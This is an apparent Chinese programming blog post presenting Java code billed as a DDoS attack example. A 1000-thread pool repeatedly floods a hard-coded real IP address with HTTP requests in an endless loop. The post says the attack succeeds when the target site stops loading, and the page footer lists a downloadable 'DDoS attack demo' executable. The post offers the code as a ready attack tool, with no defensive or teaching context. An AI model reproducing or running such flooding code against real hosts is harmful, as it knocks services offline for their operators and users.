java 使用线程池做DDOS 攻击示例

public class DDos {
    public static void main(String[] args) {
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread = new Mythread();
        Thread thread = new Thread(mythread);
        for (int i = 0; i < 10000; i++) {
            es.execute(thread);
        }
    }
}

class Mythread implements Runnable {
    public void run() {
        while (true) {
            try {
                URL url = new URL("http://221.232.148.51/guojibu/");
                
                URLConnection conn = url.openConnection();
                System.out.println("发包成功!");
                BufferedInputStream bis = new BufferedInputStream(
                        conn.getInputStream());
                byte[] bytes = new byte[1024];
                int len = -1;
                StringBuffer sb = new StringBuffer();

                if (bis != null) {
                    if ((len = bis.read()) != -1) {
                        sb.append(new String(bytes, 0, len));
                        System.out.println("攻击成功!");
                        bis.close();
                    }
                }
            } catch (MalformedURLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }

        }
    }
}

网站打不开就是攻击成功了

阅读更多
个人分类: 多线程
上一篇两个线程同时调用一个函数会出现什么情况?
下一篇JVM类加载运行内存过程
想对作者说点什么? 我来说一句

DDOS攻击与演示实例1.exe

2013年02月25日 2KB 下载

没有更多推荐了,返回首页

关闭
关闭